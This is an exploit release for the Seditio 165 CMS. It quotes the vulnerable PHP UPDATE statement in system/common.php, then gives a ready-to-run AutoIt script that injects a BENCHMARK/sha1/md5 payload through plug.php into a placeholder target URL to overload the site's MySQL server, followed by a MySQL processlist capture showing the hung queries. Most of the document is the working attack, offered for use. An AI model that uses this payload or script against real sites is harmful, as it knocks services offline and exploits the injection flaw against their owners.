Seditio 165 SQL Injection / Denial Of Service

`#cs  
Seditio 165 (from seditio-eklenti.com)  
Denial Of Service exploit by AkaStep.  
We will exploit Sql injection using this exploit and as result we will cause Denial of Service.  
Mysql server will go down or will overloaded +server will get overloaded(High CPU Load).  
// Vuln Discovered By AkaStep + exploit By AkaStep.  
Enjoyyyyy)  
NOTES Do not login to target site otherwise it will fail to exploit vuln.  
Exploit Coded in Autoit.See autoitscript.com  
  
  
Details about Vuln:(Magic_Quotes_gpc=off)  
  
//seditio165 from seditio-eklenti.com  
//magic_quotes_gpc =off  
//system/common.php  
// 0day by AkaStep  
  
//Vulnerable code section  
if (($rd_loc != "users.php")&&($rd_loc != "message.php"))  
{  
  
$sql_update_online = sed_sql_query("UPDATE sed_redirecter SET rd_location='".$rd_loc.$rd_extra."',rd_lastseen='".time()."' WHERE rd_ip='".$_SERVER["REMOTE_ADDR"]."'");  
}  
/14 April 2012  
  
#ce  
  
  
$targetsite="http://targetsite.tld/"; //target site. Change it to target site.  
  
  
  
  
#cs  
DO NOT TOUCH ANYTHING BELOW  
  
  
#ce  
  
$exploit=$targetsite & "/plug.php?e=akastep',rd_location=(benchmark(unix_timestamp(now()),sha1(md5(now())))),rd_ip='" & @IPAddress1 & "',rd_lastseen='"; //Our exploit.  
$first=$targetsite & '/forums.php'; // our 1'st request will go here.  
  
HttpSetUserAgent("I'm Denial Of Service Exploit for Seditio 165 throught sql injection"); //setting user agent 4 fun  
InetGet($first,'',1);// first request.After this our IP address will be inserted to table sed_redirecter.It is neccessary to exploit.  
Sleep(1500); //sleeping 1.5 second (*Waiting operation*)  
HttpSetUserAgent("Exploiting!!!!");//setting our user agent again 4 fun.  
InetGet($exploit,'',1,1) ; Now exploiting it with *do not wait* responce option.Until now We exploiting sql injection and causing Denial Of Service.  
Exit; //exit from exploit  
  
#cs  
  
Here is how this process looks like from server's mysql:  
worker.com is my own locally spoofed "site" it is not real site anymore.And it is nothing does in this case.  
  
mysql> show full processlist \G  
*************************** 4. row ***************************  
Id: 5  
User: sed165  
Host: worker.com:1632  
db: sed165  
Command: Query  
Time: 411  
State: Updating  
Info: UPDATE sed_redirecter SET rd_location='plug.php?e=akastep',rd_location=(benchmark(unix_timestamp(now()),sha1(md5(now())))  
),rd_ip='192.168.0.1',rd_lastseen='',rd_lastseen='1334411851' WHERE rd_ip='192.168.0.1'  
*************************** 5. row ***************************  
Id: 6  
User: root  
Host: localhost:2658  
db: sed165  
Command: Query  
Time: 0  
State: NULL  
Info: show full processlist  
*************************** 6. row ***************************  
Id: 7  
User: sed165  
Host: worker.com:1633  
db: sed165  
Command: Query  
Time: 69  
State: Waiting for table level lock  
Info: UPDATE sed_redirecter SET rd_location='forums.php',rd_lastseen='1334412192' WHERE rd_ip='192.168.0.1'  
6 rows in set (0.00 sec)  
  
mysql>  
  
+++++++Greetz to all++++++++++  
packetstormsecurity.org  
packetstormsecurity.com  
packetstormsecurity.net  
securityfocus.com  
cxsecurity.com  
security.nnov.ru  
securtiyvulns.com and  
to all AA Team.  
++++++++++++++++++++++++++++++  
Thank you.  
  
/AkaStep ^_^  
  
  
  
#ce  
  
  
  
`